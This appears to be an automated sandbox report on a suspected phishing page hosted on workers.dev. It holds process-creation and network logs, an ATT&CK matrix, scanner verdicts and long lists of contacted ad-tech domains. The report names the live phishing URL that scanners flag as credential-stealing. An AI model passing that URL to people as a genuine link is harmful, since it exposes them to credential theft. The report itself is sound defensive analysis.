Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50659 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443

Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.4:49747 version: TLS 1.2

Source: classification engine

Classification label: mal80.phis.win@85/742@688/100

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1948,i,16941438996351800518,16264357058940727454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2024,i,12667267927742873418,10853461154328704347,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6180 --field-trial-handle=1948,i,16941438996351800518,16264357058940727454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1948,i,16941438996351800518,16264357058940727454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6180 --field-trial-handle=1948,i,16941438996351800518,16264357058940727454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2024,i,12667267927742873418,10853461154328704347,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	100%	Avira URL Cloud	phishing
https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	17%	Virustotal		Browse
https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Link
tls13.taboola.map.fastly.net	0%	Virustotal	Browse
dualstack.tls13.taboola.map.fastly.net	0%	Virustotal	Browse
1.cpm.ak-is2.net	0%	Virustotal	Browse
i.clean.gg	0%	Virustotal	Browse
yhs-world-aged-dust-4671.aubrey744.workers.dev	20%	Virustotal	Browse
bttrack.com	0%	Virustotal	Browse
sync.intentiq.com	0%	Virustotal	Browse
match.prod.bidr.io	1%	Virustotal	Browse
sync1.intentiq.com	0%	Virustotal	Browse
noa-atsv2.media.g03.yahoodns.net	0%	Virustotal	Browse
user-data-us-west.bidswitch.net	0%	Virustotal	Browse
m.deepintent.com	0%	Virustotal	Browse
chidc2.outbrain.org	0%	Virustotal	Browse
bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud	0%	Virustotal	Browse
pool-bid-gce-us.dorpat.iponweb.net	0%	Virustotal	Browse
pixel.onaudience.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://tsdtocl.com/	0%	URL Reputation	safe
https://sync.ipredictive.com/d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent=	0%	URL Reputation	safe
https://sync.ipredictive.com/d/sync/cookie/generic?https://eb2.3lift.com/xuid?mid=3702&xuid=${ADELPHIC_CUID}&dongle=d54f&gdpr=0&gdpr_consent=	0%	URL Reputation	safe
http://polymer.github.io/CONTRIBUTORS.txt	0%	URL Reputation	safe
https://match.prod.bidr.io/cookie-sync?gdpr=0&bee_sync_partners=syn%2Cpp%2Cpm&bee_sync_current_partner=sas&bee_sync_initiator=adx&bee_sync_hop_count=2&userid=4435248766784737857&gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://sync.technoratimedia.com/services?srv=cs&nuid=8D43DC40D1AD45959219232A1957E0C2&att=1&pid=82&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26bee_sync_partners%3Dsas%252Cpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dpm%26bee_sync_hop_count%3D2&uid=Zi1-RMAoJXEAAC4sAhP6pwAA%262852	0%	Avira URL Cloud	safe
https://onetag-sys.com/match/?int_id=1&uid=f26e662d-7f4d-4d00-b052-4dd564d435a2&gdpr=1&gdpr_consent=	0%	Avira URL Cloud	safe
about:blank	0%	Avira URL Cloud	safe
https://sync.technoratimedia.com/services?srv=cs&nuid=8D43DC40D1AD45959219232A1957E0C2&att=1&pid=46&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26userid%3D4435248766784737857%26gdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dpp%252Cpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D3&uid=1476058396850158061	0%	Avira URL Cloud	safe
https://x.bidswitch.net/sync?ssp=gumgum2&user_id=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2&gdpr=0&gdpr_consent=&us_privacy=1YNN	0%	Avira URL Cloud	safe
https://a.audrte.com/match?gdpr=0&gdpr_consent=&p=M1717054901&uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD	0%	Avira URL Cloud	safe
https://www.jochenhemmleb.com/english/mundi/index.php	0%	Avira URL Cloud	safe
https://match.deepintent.com/usersync/131?redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Ddi%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%24%7BDI_USER_ID%7D	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
de9a11s35xj3d.cloudfront.net	18.165.94.217	true	false		high
um.simpli.fi	35.236.220.17	true	false		high
rtb-csync-use1.smartadserver.com	23.105.12.150	true	false		high
tls13.taboola.map.fastly.net	151.101.193.44	true	false	0%, Virustotal, Browse	unknown
d31otfhas71ais.cloudfront.net	18.160.45.140	true	false		high
global.px.quantserve.com	192.184.68.134	true	false		high
us-east-eb2.3lift.com	35.71.139.29	true	false		high
cs.admanmedia.com	80.77.87.166	true	false		high
prebid.media.net	34.120.63.153	true	false		high
i.clean.gg	34.95.69.49	true	false	0%, Virustotal, Browse	unknown
rtb.openx.net	35.186.253.211	true	false		high
bttrack.com	192.132.33.68	true	false	0%, Virustotal, Browse	unknown
1.cpm.ak-is2.net	174.137.133.32	true	false	0%, Virustotal, Browse	unknown
cdn.w55c.net	54.165.249.206	true	false		high
dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com	44.206.98.23	true	false		high
crb.kargo.com	34.199.195.87	true	false		high
dualstack.tls13.taboola.map.fastly.net	151.101.193.44	true	false	0%, Virustotal, Browse	unknown
us-east-tlx.3lift.com	3.233.167.98	true	false		high
mwzeom.zeotap.com	104.22.51.98	true	false		high
lga-direct-bgp.contextweb.com	198.148.27.131	true	false		high
www.google.com	172.253.122.105	true	false		high
sync.intentiq.com	52.85.132.68	true	false	0%, Virustotal, Browse	unknown
prod-us-oath-lb-api-1578944270.us-east-1.elb.amazonaws.com	54.236.111.19	true	false		high
noa-atsv2.media.g03.yahoodns.net	66.218.87.15	true	false	0%, Virustotal, Browse	unknown
static.us5.vip.prod.criteo.net	74.119.117.4	true	false		high
id.rlcdn.com	35.244.154.8	true	false		high
bcp.crwdcntrl.net	44.205.210.132	true	false		high
sync1.intentiq.com	52.85.132.15	true	false	0%, Virustotal, Browse	unknown
match.adsrvr.org	3.33.220.150	true	false		high
ssp-sync.us5.vip.prod.criteo.com	74.119.117.12	true	false		high
rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com	3.85.67.14	true	false		high
match.prod.bidr.io	54.146.215.124	true	false	1%, Virustotal, Browse	unknown
yhs-world-aged-dust-4671.aubrey744.workers.dev	104.21.16.147	true	false	20%, Virustotal, Browse	unknown
google.com	172.253.63.100	true	false		high
bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud	35.83.92.21	true	false	0%, Virustotal, Browse	unknown
creativecdn.com	185.184.8.90	true	false		high
pagead-googlehosted.l.google.com	172.253.122.132	true	false		high
chidc2.outbrain.org	50.31.142.223	true	false	0%, Virustotal, Browse	unknown
a-us00.kxcdn.com	68.70.205.3	true	false		high
plus.l.google.com	172.253.122.100	true	false		high
zeta-ssp-385516103.us-east-1.elb.amazonaws.com	52.206.182.240	true	false		high
m.deepintent.com	38.91.45.7	true	false	0%, Virustotal, Browse	unknown
events-ssc.33across.com	34.117.239.71	true	false		high
dbrd449anfbv4.cloudfront.net	99.84.109.83	true	false		high
pixel-sync.sitescout.com	34.36.216.150	true	false		high
pixel.onaudience.com	51.222.80.231	true	false	0%, Virustotal, Browse	unknown
warp.media.net	23.222.200.28	true	false		high
ssum-sec.casalemedia.com	172.64.151.101	true	false		high
googleads.g.doubleclick.net	142.251.167.155	true	false		high
hblg.media.net	23.222.200.28	true	false		high
match-us-east-1-ecs.sharethrough.com	35.172.59.103	true	false		high
widget.us5.vip.prod.criteo.com	74.119.117.16	true	false		high
hb.yahoo.net	23.215.0.40	true	false		high
www.googletagservices.com	172.253.122.155	true	false		high
iad-2-sync.go.sonobi.com	69.166.1.34	true	false		high
hbx.media.net	23.222.200.28	true	false		high
user-data-us-west.bidswitch.net	35.212.133.238	true	false	0%, Virustotal, Browse	unknown
pool-bid-gce-us.dorpat.iponweb.net	35.207.24.140	true	false	0%, Virustotal, Browse	unknown
de.tynt.com	67.202.105.33	true	false		high
spug-nje1pb.pubmnet.com	207.65.37.182	true	false		unknown
tps-ue1.doubleverify.com	34.117.228.201	true	false		high
hde.tynt.com	67.202.105.34	true	false		high
cs550162656.adn.psicdn.net	152.195.55.192	true	false		unknown
contextual.media.net	23.45.148.30	true	false		high
core.iprom.net	195.5.165.20	true	false		unknown
tsdtocl.com	151.101.1.44	true	false		unknown
idsync.rlcdn.com	35.244.154.8	true	false		high
kinesis.us-east-1.amazonaws.com	3.91.171.154	true	false		high
rtb.adentifi.com	3.213.112.36	true	false		unknown
ad.mrtnsvr.com	34.102.163.6	true	false		unknown
sync.srv.stackadapt.com	54.209.244.95	true	false		high
synchroscript.deliveryengine.adswizz.com	18.160.10.47	true	false		high
thrtle.com	18.205.199.174	true	false		unknown
io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com	52.23.141.19	true	false		high
pugm-nje1.pubmnet.com	207.65.37.181	true	false		unknown
stackpath.bootstrapcdn.com	104.18.11.207	true	false		high
pixel.tapad.com	34.111.113.62	true	false		high
pippio.com	107.178.254.65	true	false		high
sync.ipredictive.com	52.7.87.144	true	false		unknown
gob-pairb-nje1.pubmnet.com	207.65.37.179	true	false		unknown
prod-rotation-v2.guce.aws.oath.cloud	52.86.89.200	true	false		unknown
s.amazon-adsystem.com	52.46.155.104	true	false		high
ad.doubleclick.net	142.251.167.149	true	false		high
aax-eu.amazon-adsystem.com	52.95.115.196	true	false		high
raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com	44.214.122.172	true	false		high
ssbsync-use1.smartadserver.com	23.105.12.159	true	false		high
ipac.ctnsnet.com	35.186.193.173	true	false		high
geo-atsv2.media.g03.yahoodns.net	66.218.87.15	true	false		unknown
nje1pugpairb.pubmatic.com	207.65.37.184	true	false		high
outspot2-ams.adx.opera.com	82.145.213.8	true	false		high
match.adsby.bidtheatre.com	188.166.17.21	true	false		unknown
ib.anycast.adnxs.com	68.67.160.75	true	false		high
edge.gycpi.b.yahoodns.net	69.147.92.11	true	false		unknown
us01.z.antigena.com	40.76.134.238	true	false		unknown
matching.truffle.bid	23.88.86.2	true	false		unknown
aorta.clickagy.com	34.228.243.82	true	false		high
uipus.semasio.net	50.57.31.206	true	false		high
jsdelivr.map.fastly.net	151.101.193.229	true	false		unknown
spl.zeotap.com	104.22.51.98	true	false		high
d20qwf0wrdtevy.cloudfront.net	13.249.39.110	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://geo.yahoo.com/p?s=2023538075&t=HilgCngAaOX6Poh9,0.15465232567408171&_I=&_AO=0&_NOL=0&_R=&_P=3.54.1%05_a1s%03d%3DAQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA%26S%3DAQAAAhY0ZsSOfV2Vw8bUevS_J-s%04_pl%031%04A_v%033.54.1%04A_cn%03ANALYTICS-VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%032%04A_sid%03uEPKU3Os0Q8Kit42%04_w%03www.yahoo.com%2F%04_rid%031sbetl5j2qvpa%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQMEACZffwQEAMATGgUEAXjo2wcEACPSLwgEAWVv0Q%04A_utm%03%7B%22perf_fcp%22%3A2457%2C%22perf_fcp_rating%22%3A%22needs-improvement%22%7D%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031714257717%04_ms%03817%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031	false		high
https://ups.analytics.yahoo.com/ups/58699/cms?partner_id=SEMAS&orig=ono&sInitiator=external	false		high
https://noa.yahoo.com/p?s=2023538075&t=1714257722025&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamMetric&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&ads_failure_total=0&ads_fetch_total=1&ads_refresh_total=0&ads_slot_right_failure=0&ads_slot_right_total=0&ads_slot_top_failure=0&ads_slot_top_total=1	false		high
https://ups.analytics.yahoo.com/ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN	false		high
https://s.yimg.com/cv/apiv2/weather-svg/THUNDERSTORMS.svg	false		high
https://match.adsrvr.org/track/cmf/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent=	false		high
https://ib.adnxs.com/getuid?https%3A%2F%2Fevents-ssc.33across.com%2Fmatch%3Fliv%3Dh%26us_privacy%3D%26bidder_id%3D90%26external_user_id%3D%24UID	false		high
https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Regular.woff2	false		high
https://sync.adkernel.com/user-sync?zone=218872&t=image&r=https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MjgmdGw9MjE2MDA=&piggybackCookie={UID}&gdpr=0&gdpr_consent=&us_privacy=	false		high
about:blank	false	Avira URL Cloud: safe	low
